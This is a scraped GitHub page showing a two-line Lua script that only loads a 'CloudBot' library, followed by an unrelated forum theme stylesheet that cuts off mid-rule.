href="/Cloudhax23/GoS/blob/master/Common/CloudBot/testscript3.lua" data-name="master" data-skip-pjax="true" rel="nofollow"> <span class="select-menu-item-icon octicon octicon-check"></span> <span class="select-menu-item-text css-truncate-target" title="master"> master </span> </a> </div> <div class="select-menu-no-results">Nothing to show</div> </div> <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="tags"> <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring"> </div> <div class="select-menu-no-results">Nothing to show</div> </div> </div> </div> </div> <div class="btn-group right"> <a href="/Cloudhax23/GoS/find/master" class="js-show-file-finder btn btn-sm empty-icon tooltipped tooltipped-nw" data-pjax data-hotkey="t" aria-label="Quickly jump between files"> <span class="octicon octicon-list-unordered"></span> </a> <button aria-label="Copy file path to clipboard" class="js-zeroclipboard btn btn-sm zeroclipboard-button tooltipped tooltipped-s" data-copied-hint="Copied!" type="button"><span class="octicon octicon-clippy"></span></button> </div> <div class="breadcrumb js-zeroclipboard-target"> <span class="repo-root js-repo-root"><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/Cloudhax23/GoS" class="" data-branch="master" data-pjax="true" itemscope="url"><span itemprop="title">GoS</span></a></span></span><span class="separator">/</span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/Cloudhax23/GoS/tree/master/Common" class="" data-branch="master" data-pjax="true" itemscope="url"><span itemprop="title">Common</span></a></span><span class="separator">/</span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/Cloudhax23/GoS/tree/master/Common/CloudBot" class="" data-branch="master" data-pjax="true" itemscope="url"><span itemprop="title">CloudBot</span></a></span><span class="separator">/</span><strong class="final-path">testscript3.lua</strong> </div> </div> <div class="commit file-history-tease"> <div class="file-history-tease-header"> <img alt="@Cloudhax23" class="avatar" height="24" src="https://avatars0.githubusercontent.com/u/13112382?v=3&s=48" width="24" /> <span class="author"><a href="/Cloudhax23" rel="author">Cloudhax23</a></span> <time datetime="2015-08-31T00:22:50Z" is="relative-time">Aug 30, 2015</time> <div class="commit-title"> <a href="/Cloudhax23/GoS/commit/a5bcfef671c590c8f674d62e7caee7a0e1c155e6" class="message" data-pjax="true" title="Create testscript3.lua">Create testscript3.lua</a> </div> </div> <div class="participation"> <p class="quickstat"> <a href="#blob_contributors_box" rel="facebox"> <strong>1</strong> contributor </a> </p> </div> <div id="blob_contributors_box" style="display:none"> <h2 class="facebox-header" id="facebox-header">Users who have contributed to this file</h2> <ul class="facebox-user-list" id="facebox-description"> <li class="facebox-user-list-item"> <img alt="@Cloudhax23" height="24" src="https://avatars0.githubusercontent.com/u/13112382?v=3&s=48" width="24" /> <a href="/Cloudhax23">Cloudhax23</a> </li> </ul> </div> </div> <div class="file"> <div class="file-header"> <div class="file-actions"> <div class="btn-group"> <a href="/Cloudhax23/GoS/raw/master/Common/CloudBot/testscript3.lua" class="btn btn-sm " id="raw-url">Raw</a> <a href="/Cloudhax23/GoS/blame/master/Common/CloudBot/testscript3.lua" class="btn btn-sm js-update-url-with-hash">Blame</a> <a href="/Cloudhax23/GoS/commits/master/Common/CloudBot/testscript3.lua" class="btn btn-sm " rel="nofollow">History</a> </div> <a class="octicon-btn tooltipped tooltipped-nw" href="https://windows.github.com" aria-label="Open this file in GitHub Desktop" data-ga-click="Repository, open with desktop, type:windows"> <span class="octicon octicon-device-desktop"></span> </a> <button type="button" class="octicon-btn disabled tooltipped tooltipped-n" aria-label="You must be signed in to make or propose changes"> <span class="octicon octicon-pencil"></span> </button> <button type="button" class="octicon-btn octicon-btn-danger disabled tooltipped tooltipped-n" aria-label="You must be signed in to make or propose changes"> <span class="octicon octicon-trashcan"></span> </button> </div> <div class="file-info"> 3 lines (2 sloc) <span class="file-info-divider"></span> 0.069 kB </div> </div> <div class="blob-wrapper data type-lua"> <table class="highlight tab-size js-file-line-container" data-tab-size="8"> <tr> <td id="L1" class="blob-num js-line-number" data-line-number="1"></td> <td id="LC1" class="blob-code blob-code-inner js-file-line"><span class="pl-c1">require</span>(<span class="pl-s"><span class="pl-pds">'</span>CloudBot<span class="pl-pds">'</span></span>)</td> </tr> <tr> <td id="L2" class="blob-num js-line-number" data-line-number="2"></td> <td id="LC2" class="blob-code blob-code-inner js-file-line"><span class="pl-c">-- Make sure you require jinx in testscript1.lua</span></td> </tr> </table> </div> </div> <a href="#jump-to-line" rel="facebox[.linejump]" data-hotkey="l" style="display:none">Jump to Line</a> <div id="jump-to-line" style="display:none"> <!-- </textarea> --><!-- '"` --><form accept-charset="UTF-8" action="" class="js-jump-to-line-form" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="✓" /></div> <input class="linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line…" aria-label="Jump to line" autofocus> <button type="submit" class="btn">Go</button> </form></div> </div> </div> <div class="modal-backdrop"></div> </div> </div> <div class="container"> <div class="site-footer" role="contentinfo"> <ul class="site-footer-links right"> <li><a href="https://status.github.com/" data-ga-click="Footer, go to status, text:status">Status</a></li> <li><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li> <li><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li> <li><a href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li> <li><a href="https://github.com/blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li> <li><a href="https://github.com/about" data-ga-click="Footer, go to about, text:about">About</a></li> <li><a href="https://github.com/pricing" data-ga-click="Footer, go to pricing, text:pricing">Pricing</a></li> </ul> <a href="https://github.com" aria-label="Homepage"> <span class="mega-octicon octicon-mark-github" title="GitHub"></span> </a> <ul class="site-footer-links"> <li>© 2015 <span title="0.05525s from github-fe134-cp1-prd.iad.github.net">GitHub</span>, Inc.</li> <li><a href="https://github.com/site/terms" data-ga-click="Footer, go to terms, text:terms">Terms</a></li> <li><a href="https://github.com/site/privacy" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a></li> <li><a href="https://github.com/security" data-ga-click="Footer, go to security, text:security">Security</a></li> <li><a href="https://github.com/contact" data-ga-click="Footer, go to contact, text:contact">Contact</a></li> <li><a href="https://help.github.com" data-ga-click="Footer, go to help, text:help">Help</a></li> </ul> </div> </div> <div id="ajax-error-message" class="flash flash-error"> <span class="octicon octicon-alert"></span> <button type="button" class="flash-close js-flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <span class="octicon octicon-x"></span> </button> Something went wrong with that request. Please try again. </div> <script crossorigin="anonymous" src="https://assets-cdn.github.com/assets/frameworks-06e65f5639cc52d1aaada53115a54614b60fa90ab446a673e3e1818df167663b.js"></script> <script async="async" crossorigin="anonymous" src="https://assets-cdn.github.com/assets/github-ee4ac88329bd04835855a912ad24ec8d4d05dd40c4a271721d3c67827d1e0f75.js"></script> <div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner hidden"> <span class="octicon octicon-alert"></span> <span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> </body> </html>
SuperRogerio
*{margin:0;padding:0}html{font-size:100%;height:100%}* html{scrollbar-3dlight-color:#;scrollbar-arrow-color:#;scrollbar-darkshadow-color:#;scrollbar-face-color:#;scrollbar-highlight-color:#;scrollbar-shadow-color:#;scrollbar-track-color:#}*+ html{scrollbar-3dlight-color:#;scrollbar-arrow-color:#;scrollbar-darkshadow-color:#;scrollbar-face-color:#;scrollbar-highlight-color:#;scrollbar-shadow-color:#;scrollbar-track-color:#}body{background-attachment:fixed;background-color:#fff;background-image:url(https://illiweb.com/fa/empty.gif);color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:10px;height:auto;padding:10px 0}#sceditor_smilies{background-color:#dceaf5}#sce_smilies_body{background-color:#e5f1f9;background-image:none;min-width:1px!important}.sceditor-container iframe,.sceditor-container textarea{background-color:transparent!important}.sceditor-container{background-color:#fff!important}.sceditor-toolbar{background-color:#f7f7f7!important}* html .conteneur_minwidth_IE{padding-left:1111px}* html .conteneur_container_IE{margin-left:-1111px;position:relative}* html .conteneur_container_IE,* html .conteneur_layout_IE,* html .conteneur_minwidth_IE{height:1px}#wrap{background-color:#fff;border:1px solid #;margin:0 auto;min-width:979px;padding:5px;width:90%}#simple-wrap{padding:6px 10px}#content-container div#container{float:left;margin-right:-12px;width:100%}#content-container div#content{margin-right:12px}#content-container div#main{margin-bottom:1em;overflow:hidden}*+ html #content-container div#main{margin-left:211px}#content-container div#left{float:left;margin-right:12px;overflow:hidden;width:199px}#content-container div#right{float:right;overflow:hidden;width:0}* html #content-container #main-content{margin-right:211px;overflow:visible}* html #content-container div#main{float:left;margin-right:-99%;width:100%}#page-body{margin:4px 0;width:100%}#page-body p.page-bottom{margin:0}h1.page-title{color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:2em;font-weight:400;margin:.8em 0 .2em}h1.gallery-title{display:inline;font-size:11px;font-weight:700;text-align:center}h2{color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:2em;font-weight:400;margin:.8em 0 .2em}h1.solo{margin-bottom:1em}.h3,h3{border-bottom:1px solid #1675bc;color:#1675bc;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.05em;margin-bottom:3px;margin-top:20px;padding-bottom:2px;text-transform:uppercase}.h3{font-weight:700}.introduction .h3,.module .h3,.postbody .h3{margin-top:8px}.table-title,.table-title h2{color:#fff;display:inline;font-size:1em}input{cursor:pointer;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;font-weight:400;padding:0 3px;vertical-align:middle}select{background-color:#fff;border:1px solid #0372be;cursor:pointer;font-family:Verdana,Arial,Helvetica,sans-serif;font-weight:400;padding:1px;vertical-align:middle}option{padding-right:1em}textarea{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1.4em;padding:2px;width:60%}p{font-size:1.1em;line-height:1.3em;margin-bottom:.5em}p.right{text-align:right}p.right img{vertical-align:middle}p.center{margin:0;text-align:center}p.author{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1.2em;margin:0 15em .6em 0;padding:0 0 5px}p.nomargin{font-size:1.1em;line-height:1.3em;margin-bottom:0}p.path{clear:left;margin-left:10px}fieldset{border-width:0;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em}fieldset.jumpbox{height:auto;margin-top:15px;min-height:2.5em;text-align:right}fieldset.vf_jumpbox{height:auto;min-height:2.5em;text-align:right}fieldset.quickmod{float:right;height:auto;min-height:2.5em;text-align:right;width:55%}label{color:#666;cursor:default;padding-right:5px}label input{vertical-align:middle}label img{vertical-align:middle}hr{border:0 none #fff;border-top:1px solid #fff;clear:both;display:block;height:1px;margin:5px 0}hr.dashed{border-top:1px dashed #fff;margin:5px 0}img{border-width:0}blockquote{background:#ebeadd url(https://illiweb.com/fa/prosilver/quote.gif) 6px 8px no-repeat;border:1px solid #DBDBCE;font-size:.95em;margin:1em 1px 1em 25px;overflow:hidden;padding:5px}blockquote div{margin-left:20px}blockquote blockquote{background-color:#EFEED9;font-size:1em;margin:.5em 1px 0 15px}blockquote blockquote blockquote{background-color:#ebeadd}blockquote cite{display:block;font-size:.9em;font-style:normal;font-weight:700}blockquote cite cite{font-size:1em}blockquote.uncited{padding-top:25px}ul{list-style-type:none}ul.ul-icons{float:left;margin:0 10px}* html input,* html select,* html table{font-size:100%}* html hr{margin:0}a:link{color:#0372be;text-decoration:none}a:visited{color:#0372be;text-decoration:none}a:active{color:#0372be;text-decoration:underline}a:hover{color:#f60;text-decoration:none}a.forumtitle{color:#0372be;font-family:Arial,Helvetica,sans-serif;font-size:1.2em;font-weight:700;text-decoration:none}a.forumtitle:hover{color:#f60;text-decoration:underline}a.forumtitle:active{color:#0372be}a.topictitle{color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em;font-weight:700;text-decoration:none}div.topic-title-container{display:inline}.topic-title{display:inline;font-size:12px;text-align:left}a.topictitle:hover{color:#f60;text-decoration:underline}a.topictitle:active{color:#0372be}.inputbox{background-color:#fff;border:1px solid #BCBCBC;color:#666;cursor:text;padding:2px}.inputbox:hover{border:1px solid #1675bc}.inputbox:focus{border:1px solid #1675bc;color:#666}input.inputbox,select.inputbox{width:85%}input.medium,select.medium{width:50%}input.narrow,select.narrow{width:25%}input.tiny,select.tiny{width:110px}textarea.inputbox{width:85%}button.button2,input.button1,input.button2{font-size:1em}a.button1,input.button1{border:1px solid #666;font-weight:700}a.button2,button.button2,input.button2{border:1px solid #BCBCBC}a.button1,a.button2,button.button2,input.button1,input.button2{background-color:#FAFAFA;background-image:url(https://illiweb.com/fa/prosilver/bg_button.gif);background-position:top;background-repeat:repeat-x;color:#000;font-family:Verdana,Arial,Helvetica,sans-serif;overflow:visible;padding:2px 3px;width:auto!important}a.button2,body:last-child a.button1,button.button2,input.button1,input.button2{padding:1px 0}a.button1:hover,a.button2:hover,button.button2:hover,input.button1:hover,input.button2:hover{background-position:0 100%;border:1px solid #f60;color:#f60}a.button1:active,a.button1:link,a.button1:visited,a.button2:active,a.button2:link,a.button2:visited{background-position:0 1px;color:#0372be;line-height:250%;padding:2px 8px;text-decoration:none;vertical-align:text-bottom}* html button.button2,* html input.button1,* html input.button2{margin-bottom:1px;padding-bottom:0}*+html button.button2{height:24px;padding-left:3px;padding-right:3px}*+html button.button2 img{vertical-align:middle}* html button.button2{height:24px;padding-left:3px;padding-right:3px}* html button.button2 img{vertical-align:middle}fieldset dl{padding:4px 0}fieldset dt{display:block;float:left;text-align:left;width:40%}fieldset dd{margin-bottom:3px;margin-left:41%;vertical-align:top}fieldset dl:hover dt label{color:#000}dt label{font-weight:700;text-align:left}dd label{color:#666;white-space:nowrap}dd input,dd textarea{margin-right:3px}dd select{width:auto}dd textarea{width:85%}fieldset.fields1 dt{border-right-width:0;width:10em}fieldset.fields1 dd{border-left-width:0;margin-left:10em}fieldset.fields1{background-color:transparent}fieldset.fields1 div{margin-bottom:3px}fieldset.fields2 dt{border-right-width:0;width:15em}fieldset.fields2 dd{border-left-width:0;margin-left:16em}fieldset.fields2 dl:hover dt label{color:inherit}fieldset.submit-buttons{margin:5px 0;text-align:center;vertical-align:middle}fieldset.submit-buttons input{padding-bottom:3px;padding-top:3px;vertical-align:middle}fieldset.polls{font-family:Verdana,Arial,Helvetica,sans-serif}fieldset.polls dl{border-top:1px solid #e2e2e2;color:#666;line-height:120%;margin-top:5px;padding:5px 0 0}fieldset.polls dt{border-right:none;display:block;float:left;font-size:1.1em;margin:0;padding:0;text-align:left;width:30%}fieldset.polls dd{border-left:none;float:left;font-size:1.1em;margin-left:0;padding:0 5px;width:10%}.headerbar{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-repeat:repeat-x;margin-bottom:4px;padding:0 5px}* html .headerbar{height:1%}*+ html .headerbar{min-height:1px}#logo-desc{margin:0;padding:0;text-align:center}#logo{float:none;padding:5px}a#logo:hover{text-decoration:none}#site-title,#site-title h1{color:#fff;font-size:20px;font-weight:700;padding-top:15px}#site-title h1{padding-top:0}#logo-desc p{color:#fff;margin:0;padding:0}.navbar{background-color:#cadceb;clear:both;padding:0 10px}ul.navlinks{border-bottom:1px solid #fff;font-weight:700;text-align:center}ul.borderless{border-bottom:0}ul.linklist li{display:inline;font-size:1.1em;line-height:2.2em;list-style-type:none;width:auto}ul.linklist li a img{vertical-align:middle}.search-box{float:left;margin-left:5px;margin-top:3px}#search-box{float:right;margin-right:5px;margin-top:10px;white-space:nowrap}* html #search-box{margin-right:35px}#search-box #keywords{background-color:#fff;width:95px},#search-box input{border:1px solid #BCBCBC}#search-box input.button1{padding:1px 5px}input.search{background:url(https://illiweb.com/fa/sprite_prosilver_navbar.png) no-repeat top left;background-position:0 -701px;padding-left:17px}ul.linklist li.rightside{float:right}ul.linklist li.footer-home{float:left}p.rightside{float:right;margin-right:5px}dl.codebox{background-color:#FFF;border:1px solid #C9D2D8;font-size:1em;padding:3px}dl.codebox dt{border-bottom:1px solid #CCC;display:block;font-size:.8em;font-weight:700;margin-bottom:3px;text-transform:uppercase}blockquote dl.codebox{margin-left:0}dl.codebox code{color:#2E8B57;display:block;font-family:Courier,CourierNew,sans-serif;font-size:.9em;font-style:normal;font-variant:normal;font-weight:normal;height:auto;line-height:1.3em;margin:2px 0;max-height:200px;overflow:auto;padding-top:5px;white-space:normal}.forabg{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 0;background-repeat:repeat-x;border:2px solid #;clear:both;margin-bottom:4px;padding:0 5px}* html .forabg{height:1%;position:relative}*+ html .forabg{min-height:1px}.forumbg{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 0;background-repeat:repeat-x;border:2px solid #;clear:both;margin-bottom:4px;padding:0 5px}* html .forumbg{height:1%}*+ html .forumbg{min-height:1px}.forumbg table.table1{margin:0 -2px -1px -1px}ul.topiclist{background-image:url(https://illiweb.com/fa/empty.gif);background-repeat:repeat-x;color:#666;list-style-type:none;margin:0}* html ul.topiclist{height:1%}*+ html ul.topiclist{min-height:1px}ul.topiclist li{display:block;margin:0}* html ul.topiclist li{position:relative}ul.topiclist li.row dl{padding:2px 0}ul.forums li.row dl{min-height:75px}* html ul.forums li.row dl{height:75px}ul.topiclist dd.dterm,ul.topiclist dt{display:block;float:left;font-size:1.1em;padding-left:5px;padding-right:5px;width:60%}ul.topiclist dfn{display:none}ul.topics li.header dl.icon dt{padding-right:50px}ul.topics dd.dterm,ul.topics dt{display:block;float:left;padding-left:45px;width:50%}ul.topics dd{display:block;float:left}ul.forums{background-color:#e5f1f9;background-image:none}li.header dl.icon{min-height:0}li.header dl.icon dt{padding-left:0}li.header dt{font-weight:700}li.header dd{margin-left:1px}dl.icon{background-position:10px 50%;background-repeat:no-repeat;height:auto;min-height:35px}dl.icon dd.dterm,dl.icon dt{background-position:5px 50%;background-repeat:no-repeat}li.header dd,li.header dt{border-left-width:0;color:#fff;font-family:Arial,Helvetica,sans-serif,Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1em;margin:2px 0 4px;padding-bottom:2px;padding-top:2px;text-transform:uppercase}li.row{border-bottom:1px solid #fff;border-top:1px solid #fff}li.row:hover{background-color:#}ul.topiclist dd{border-left:1px solid #fff;display:block;float:left;padding:4px 0}ul.topiclist li.header dl dd{border:none}dd.lastpost span,dd.moderation span,dd.redirect span,ul.topiclist dd.info span,ul.topiclist dd.searchby span,ul.topiclist dd.time span{display:block;padding-left:5px}ul.pmlist dt{padding-left:45px}ul.forums dd{border-color:#fff;border-left-style:solid;border-left-width:1px}li.row:hover dd{border-left-color:#fff}.mod-text{font-weight:700}.hierarchy{border:none;display:inline;font-size:1em!important;text-transform:none}.panel{background-color:#e5f1f9;color:#666;margin-bottom:4px;padding:0 10px}* html .panel{height:1%}*+ html .panel{min-height:1px}.content h2,.panel h2{border-bottom:1px solid #1675bc;color:#1675bc;font-size:1.6em;font-weight:400;margin-bottom:.5em;margin-top:.5em;padding-bottom:.5em}.content h2.h3,.panel h2.h3{font-size:1.05em;font-weight:700}.content h1,.panel h1{border-bottom:1px solid #1675bc;color:#1675bc;font-size:1.6em;font-weight:400;margin-bottom:.5em;margin-top:.5em;padding-bottom:.5em}.panel h3{margin:.5em 0}.panel-left{float:left;width:47%}.panel-right{float:right;width:47%}.panel div.mes-txt,.panel p{font-size:1.2em;line-height:1.4em;margin-bottom:1em}div.mes-txt ol,div.mes-txt ul{padding-left:40px}div.mes-txt ul{list-style-type:disc}.post{background-position:100% 0;background-repeat:no-repeat;margin-bottom:4px;padding:0 10px}*+ html .post{word-wrap:break-word}* html .post{word-wrap:break-word}.post ul{list-style-type:disc}.postprofile{border-color:#fff;border-left-style:solid;border-left-width:1px;color:#666;display:inline;float:right;margin:5px 0 0;min-height:80px;position:relative;width:22%;word-wrap:break-word}* html .postprofile{overflow:hidden}.postprofile dd,.postprofile dt{line-height:1.2em;margin-left:8px}.postprofile a:active,.postprofile a:link,.postprofile a:visited,.postprofile dt.author a{color:#0372be;font-weight:700;text-decoration:none}.postprofile a:hover,.postprofile dt.author a:hover{color:#f60;text-decoration:underline}.vote{float:right;margin-left:4px;width:9px}.vote .vote-button{font-weight:700;margin-left:-1px;text-align:center}.vote .vote-button a{text-decoration:none!important}.vote .vote-bar{border:1px solid #666;font-size:0;height:50px;margin:0 auto;width:3px}.vote .vote-no-bar{letter-spacing:-2px;margin-left:-2px;white-space:nowrap}.vote .vote-bar-plus{background-color:#0f0}.vote .vote-bar-minus{background-color:red}dd.lastpost{font-size:1.1em;width:20%}dd.mark{float:right!important;font-size:1.2em;line-height:200%;text-align:center;width:9%}dd.posts,dd.topics,dd.views{border:none;font-size:1.2em;line-height:2.2em;text-align:center;width:8%}dd.info{width:30%}dl.details{font-size:1.1em}dl.details dt{color:#666;display:block;float:left;text-align:right;width:10em}dl.details dd{color:#666;margin-bottom:5px;margin-left:10em;padding-left:5px}.span-tab{font-size:.9em}#cp-main{float:left;margin-left:20px;width:98%}* html #cp-main{margin-left:10px}#cp-main h1{border-bottom:none;color:#666;margin-left:10px;padding:0}#cp-main h3,#cp-main hr{border-color:#bfbfbf}#cp-main .content{padding:0}ul.cplist{border-top:1px solid #;margin-bottom:5px}#cp-main .panel{background-color:#fff}#cp-main .panel.sig{background-color:#CADCEB}#cp-main .panel p{font-size:1.1em}#cp-main .panel ol{font-size:1.1em;margin-left:2em}#cp-main .panel li.row{border-bottom:1px solid #;border-top:1px solid #}#cp-main table.table1{margin-bottom:1em}#cp-main table.table1 thead th{border-bottom:1px solid #333;color:#666;font-weight:700;padding:5px}#cp-main table.table1 tbody th{background-color:transparent!important;border-bottom:none;font-style:italic}#cp-main ol,#cp-main ul{list-style-type:none!important;padding:0!important}#ucp-main table.table1{padding:2px}table.table1{width:100%}html>body table.table1{width:100%}table.table1 thead th{color:#fff;font-size:1em;font-weight:400;line-height:1.3em;padding:0 0 4px 3px;text-transform:uppercase}table.table1 thead th span{padding-left:7px}table.table1 tbody tr{border:1px solid #e5f1f9}table.table1 tbody tr.hover,table.table1 tbody tr:hover{background-color:#;color:#666}table.table1 td{color:#666;font-size:1.1em}table.table1 tbody td{border-top:1px solid #fff;padding:5px}table.table1 tbody th{background-color:#e5f1f9;border-bottom:1px solid #000;color:#fff;padding:5px;text-align:left}table.table1 .name{text-align:left}table.table1 .posts{text-align:center!important;width:7%}table.table1 .joined{text-align:left;width:15%}table.table1 .active{text-align:left;width:15%}table.table1 .mark{text-align:center;width:7%}table.table1 .info{text-align:left;width:30%}table.table1 .info div{overflow:hidden;white-space:nowrap;width:100%}table.table1 .autocol{line-height:2em;white-space:nowrap}table.table1 thead .autocol{padding-left:1em}table.table1 .stats{text-align:center;width:12%}table.table1 .edit{text-align:right;vertical-align:top;width:5%}table.table1 .alignv{vertical-align:top}td.avatar-mini img{background-color:#fff;border:1px solid #1675bc;height:38px;vertical-align:middle;width:38px}dl.faq{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em;line-height:1.4em;margin-bottom:2em;margin-top:1em}dl.faq dt{color:#666;font-weight:700}dl.faq dd p{border:1px dashed #fff;font-size:1em;margin:5px;padding:5px;text-align:justify}dl.faq ul{list-style-position:inside;list-style-type:disc}dl.faq ol{list-style-position:inside}.content dl.faq{font-size:1.2em;margin-bottom:.5em}#tabs{line-height:normal;margin:20px 0 -1px 7px}#tabs ul{list-style:none;margin:0;padding:0}#tabs li{display:inline;font-size:1em;font-weight:700;margin:0;padding:0}#tabs a{background:#e5f1f9 none no-repeat 0 -35px;cursor:pointer;float:left;margin:0 1px 1px 0;padding:0 0 0 5px;position:relative;text-decoration:none}#tabs a span{background:none no-repeat 100% -35px;color:#666;display:block;float:left;padding:6px 10px 6px 5px;white-space:nowrap}#tabs a:hover span{background-position:100% -70px;color:#f60}#tabs .activetab a{background-color:#cadceb;background-position:0 0;border-bottom:1px solid #cadceb;margin-bottom:-1px}#tabs .activetab a span{background-position:100% 0;color:#333;padding-bottom:7px}#tabs a:hover{background-color:#cadceb;background-position:0 -70px}#tabs .activetab a:hover{background-position:0 0}#tabs .activetab a:hover span{background-position:100% 0;color:#000}* html #tabs,* html .navbar,* html .post,* html dl.polls,* html fieldset dl,* html ul.linklist,* html ul.topiclist dl{height:1%}*+ html #tabs,*+ html .navbar,*+ html .post,*+ html dl.polls,*+ html fieldset dl,*+ html ul.linklist,*+ html ul.topiclist dl{min-height:1px}#tabs:after,.navbar:after,.post:after,dl.polls:after,fieldset dl:after,ul.linklist:after,ul.topiclist dl:after{clear:both;content:".";display:block;height:0;visibility:hidden}#smiley-box,.smile-status-box{background-color:#e5f1f9;float:right;margin-top:25px;width:18%}#smiley-box.sig,.smile-status-box.sig{margin-top:15px}#smiley-box-wysiwyg{background-color:#e5f1f9;float:left;margin:25px 0 0 15px;width:20%}* html #smiley-box-wysiwyg{margin:25px 3px 0 0}*+html #smiley-box-wysiwyg{margin:25px 3px 0 0}#smiley-box iframe,.smile-status-box iframe{background-color:#e5f1f9;border:none;height:280px;overflow:auto;width:100%}#smiley-box-wysiwyg iframe{background-color:#e5f1f9;border:none;height:280px;overflow:auto;width:100%}.smiley-element img{margin:0 15px 10px 0}.pagination{float:right;margin-top:5px;text-align:right;width:auto}* html .pagination{height:1%}*+ html .pagination{min-height:1px}.row .pagination{background:url(https://illiweb.com/fa/prosilver/icon_pages.gif) 0 50% no-repeat;display:block;float:right;font-size:.9em;margin-top:0;padding:1px 0 1px 15px;width:auto}.pagination span a,.pagination span a:active,.pagination span a:link,.pagination span a:visited{background-color:#fff;border:1px solid #B4BAC0;color:#5C758C;font-size:.9em;font-weight:400;line-height:1.5em;margin:0 2px;padding:0 2px;text-decoration:none}.pagination span a:hover{background-color:#0372be;border-color:#368AD2;color:#FFF;text-decoration:none}.pagination span a.pag-img{background-color:transparent;border:none}.pagination span a.pag-img:hover{background-color:transparent}.pagination span strong{background-color:#627DA3;border:1px solid #627DA3;color:#FFF;font-size:.9em;margin:0 2px;padding:0 2px}.pagination span.page-sep{display:none}#cp-main .pagination{float:right;padding-top:1px;width:auto}.postbody{clear:both;color:#666;float:left;line-height:1.48em;padding:0;width:76%}.postbody .topic-title{border:none;color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.5em;font-weight:700;line-height:125%;margin:0 0 .3em!important;padding:2px 0 0;text-transform:none}.postbody .content{font-size:1.3em}.postbody ul.profile-icons{float:right;list-style:none;margin-right:45px;padding:0;width:auto}.postbody ul.profile-icons img{cursor:pointer}.postbody ul.profile-icons li{margin:0 3px}.postbody h3 img{vertical-align:bottom}* html .postbody h3 img{vertical-align:middle}.search .postbody{width:68%}.search .postbody ol,.search .postbody ul{margin-left:1.8em}#cp-main .postbody p{font-size:1.1em}#cp-main .postbody h3{margin-top:0}.content{color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1.4em;min-height:3em;overflow:hidden}.content blockquote{color:#536482}.content p{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.2em;line-height:1.4em;margin-bottom:1em}.content li{list-style-type:inherit}.content ol,.content ul{margin-bottom:1em;margin-left:3em}ul.profile-icons{list-style:none;margin-top:10px}ul.profile-icons li{background-position:0 100%;float:left;margin:0 6px 3px 0}* html ul.profile-icons li{width:1px}ul.profile-icons li a{background-position:0 0;display:block;width:100%}ul.profile-icons li span{display:none}ul.profile-icons li a:hover{background:none}#profile-advanced-layout{float:left;margin-right:-300px;width:100%}#profile-advanced-left{margin-right:300px}#profile-advanced-left #tabs{margin-top:4px}#profile-advanced-avatar{float:left;width:30%}#profile-advanced-points,#profile-advanced-reputation{float:left}#profile-advanced-avatar .module,#profile-advanced-details,#profile-advanced-points .module,#profile-advanced-reputation .module{margin-right:4px}#profile-advanced-avatar .module,#profile-advanced-points .module,#profile-advanced-reputation .module,#profile-advanced-right .module{margin-bottom:4px}#profile-advanced-details .pagination{float:left}#profile-advanced-details ol{list-style:none}#profile-advanced-details ol li{display:block;margin-bottom:4px}#profile-advanced-details .avatar{float:left}.avatar{background-color:#fff;border:1px solid #1675bc;width:50px}.avatar img{width:50px}.friend-block .avatar{cursor:pointer;margin:0 auto}.friend-block{float:left;margin:1px;overflow:hidden;text-align:center;width:68px}.friend_list_online_status{font-size:.8em;line-height:11px}.friend_list_online_status img{vertical-align:middle}.friends-foes-list{float:left;height:2em;width:200px}#profile-advanced-details .message-block{margin-left:57px}#profile-advanced-details .message-header{background:#dceaf5;border-top:1px solid #cadceb;margin-bottom:4px;padding:4px}#profile-advanced-details .message-date{float:right}#profile-advanced-details .message-body{margin-bottom:4px}#profile-advanced-details .message-footer{text-align:right}#profile-advanced-details .message-footer li{display:inline;margin:0 .25em}#profile-advanced-details .message-footer li:after{content:' .'}#profile-advanced-details .message-footer li a{margin-right:.25em;text-decoration:underline}#profile-advanced-details .message-footer li.last:after{content:normal}#profile-advanced-layout #new-message{clear:both;margin-top:-2em;position:relative}#profile-advanced-layout #tabs{bottom:0}#profile-advanced-layout #tabs #new-message-link{bottom:0;float:right;padding-bottom:10px;position:absolute;right:4px}#profile-advanced-layout #tabs #new-message-link a{background:none;float:none;margin:0 5px 0 0;padding:0}#profile-advanced-details .top{margin-bottom:16px}#profile-advanced-details .bottom{margin-top:16px}#profile-advanced-right{float:right;width:300px}#profile-advanced-add{margin-right:4px;padding:8px 0;text-align:right}#profile-advanced-details .stats-field{margin:4px 0 10px 4px;padding:0 10px 6px}#profile-advanced-details .stats-field legend{font-weight:700}#profile-advanced-details .stats-field ul{list-style-type:none;padding:0;text-indent:10px}#profile-advanced-details 